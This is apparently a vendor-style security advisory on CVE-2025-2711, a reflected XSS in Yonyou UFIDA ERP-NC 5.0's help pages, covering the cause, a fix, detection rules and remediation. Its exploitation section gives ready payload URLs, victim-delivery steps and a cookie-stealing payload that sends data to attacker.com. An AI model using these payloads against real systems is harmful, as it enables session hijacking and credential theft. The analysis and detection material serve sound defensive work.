CVE-2025-2711

Executive Summary

CVE-2025-2711 is a reflected Cross-Site Scripting (XSS) vulnerability in Yonyou UFIDA ERP-NC version 5.0. The flaw exists in the /help/systop.jsp and /help/top.jsp files, where the langcode parameter is not properly sanitized before being reflected in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in the langcode parameter. When a victim user clicks the link, the script executes in the context of the ERP-NC application, potentially allowing session hijacking, credential theft, or defacement. The vulnerability is publicly disclosed with a proof-of-concept exploit and a Nuclei template. No official patch is available as the vendor did not respond to the disclosure.

Supply Chain & Package Security

This vulnerability affects a proprietary ERP system (Yonyou UFIDA ERP-NC) and is not related to open-source packages (NPM, PyPI, Go, Ruby). No supply chain implications are identified.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required; the attack is straightforward.
• Privileges Required (PR): None - No authentication is needed to trigger the XSS.
• User Interaction (UI): Required - The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed - The XSS can impact resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low - Limited ability to modify data (e.g., defacement).
• Availability (A): None - No impact on system availability.

Threat Level: Medium. The vulnerability is easy to exploit, has a public PoC, and affects a widely used ERP system in Chinese enterprises. However, it requires user interaction.

Deep Dive & Mechanics

The vulnerability resides in the JSP files /help/systop.jsp and /help/top.jsp. These files are part of the help system of Yonyou UFIDA ERP-NC 5.0. The langcode parameter is used to specify the language for the help page. The application takes the value of langcode and reflects it directly into the HTML response without proper encoding or validation.

Root Cause: Lack of output encoding. The langcode parameter is inserted into the HTML without escaping special characters like <, >, ", and '. This allows an attacker to break out of the existing HTML context and inject arbitrary JavaScript.

Attack Flow:

1. Attacker crafts a URL: http://target/help/systop.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E
2. The URL decodes to: langcode=1"><svg onload=alert(document.domain)>
3. The server responds with HTML containing the injected payload.
4. The victim's browser parses the HTML and executes the onload event, triggering the JavaScript.

Impact: An attacker can execute arbitrary JavaScript in the victim's browser. This can be used to:

• Steal session cookies (session hijacking).
• Perform actions on behalf of the victim (CSRF-like attacks).
• Redirect to phishing pages.
• Deface the ERP interface.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String langcode = request.getParameter("langcode");
%>
<html>
<body>
    <p>Language: <%= langcode %></p>
</body>
</html>

The langcode variable is directly output using <%= %> without escaping.

Patched Code (Conceptual):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String langcode = request.getParameter("langcode");
%>
<html>
<body>
    <p>Language: <%= Encode.forHtml(langcode) %></p>
</body>
</html>

The patched version uses an HTML encoder (e.g., OWASP Encoder) to escape special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Yonyou UFIDA ERP-NC 5.0.
• Network access to the /help/systop.jsp endpoint.

Exploit Steps:

1. Craft the malicious URL:

   http://target/help/systop.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E
   

2. Deliver the URL to a victim (e.g., via email, social engineering, or embedding in a page).
3. Victim clicks the link and the XSS payload executes.

Advanced Payload (Session Hijacking):

http://target/help/systop.jsp?langcode=1%22%3E%3Cscript%3Enew%20Image().src=%27http://attacker.com/steal?cookie=%27%2Bdocument.cookie%3C/script%3E

Nuclei Template (Provided):

id: CVE-2025-2711

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.
  remediation: |
    Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the langcode parameter in help JSP files.
  reference:
    - https://github.com/Hebing123/cve/issues/86
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2711
  classification:
    epss-score: 0.00101
    epss-percentile: 0.27573
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-2711
    cwe-id: CWE-79
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
    shodan-query: title:"用友"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>.png)'
          - 'Search.jsp'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP logs for requests to /help/systop.jsp or /help/top.jsp with unusual langcode parameters (e.g., containing <script>, <svg, onload, onerror).
2. Deploy WAF rules to block requests with XSS patterns in the langcode parameter.
3. Use the provided YARA and Sigma rules to detect exploitation attempts.

Response:

1. Isolate affected systems.
2. Review logs for compromised accounts.
3. Force password reset for users who may have been targeted.
4. Apply virtual patching (e.g., WAF rule) until an official patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /help/systop.jsp or /help/top.jsp with langcode parameter containing:
  • <script>
  • <svg
  • onload
  • onerror
  • alert(
  • document.cookie
• Outbound connections to attacker-controlled servers (e.g., for cookie exfiltration).

File IOCs:

• Modified JSP files (if attacker gains write access).
• Suspicious log entries in web server logs.

Behavioral IOCs:

• Unexpected JavaScript execution in the context of the ERP-NC application.
• Unusual session activity (e.g., simultaneous logins from different IPs).

Detection Engineering

YARA Rule

rule CVE_2025_2711_XSS_Exploit {
    meta:
        description = "Detects XSS exploitation attempts against Yonyou UFIDA ERP-NC CVE-2025-2711"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2711"
    strings:
        $xss1 = "langcode=" nocase
        $xss2 = "<script" nocase
        $xss3 = "<svg" nocase
        $xss4 = "onload=" nocase
        $xss5 = "onerror=" nocase
        $xss6 = "alert(" nocase
        $xss7 = "/help/systop.jsp" nocase
        $xss8 = "/help/top.jsp" nocase
    condition:
        ($xss1 and ($xss2 or $xss3 or $xss4 or $xss5 or $xss6)) and ($xss7 or $xss8)
}

Sigma Rule

title: CVE-2025-2711 XSS Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit reflected XSS in Yonyou UFIDA ERP-NC via langcode parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2711
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/help/systop.jsp'
            - '/help/top.jsp'
        cs-uri-query|contains|all:
            - 'langcode='
            - '<'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in langcode (unlikely)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.2711

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-2711 - Yonyou UFIDA ERP-NC XSS Exploit";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/help/systop.jsp";
    http_uri;
    content:"langcode=";
    http_uri;
    pcre:"/langcode=.*(<|>|%3C|%3E)/Ri";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-2711;
)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests containing XSS patterns in the langcode parameter.
2. Input Validation: Implement server-side validation to reject langcode values containing HTML/JavaScript.
3. Output Encoding: Encode all user-supplied data before reflecting it in the response (use OWASP Java Encoder or similar).

Long-Term Fix:

• Apply an official patch from Yonyou when available.
• Upgrade to a patched version of UFIDA ERP-NC.
• Conduct a security review of all JSP files for similar vulnerabilities.

Compensating Controls:

• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
• Use HttpOnly and Secure flags for session cookies.
• Implement strict Referrer-Policy.

Valters IT

{/* [Security Hash: 02D87FC724A2AAF6A7C107E2] */}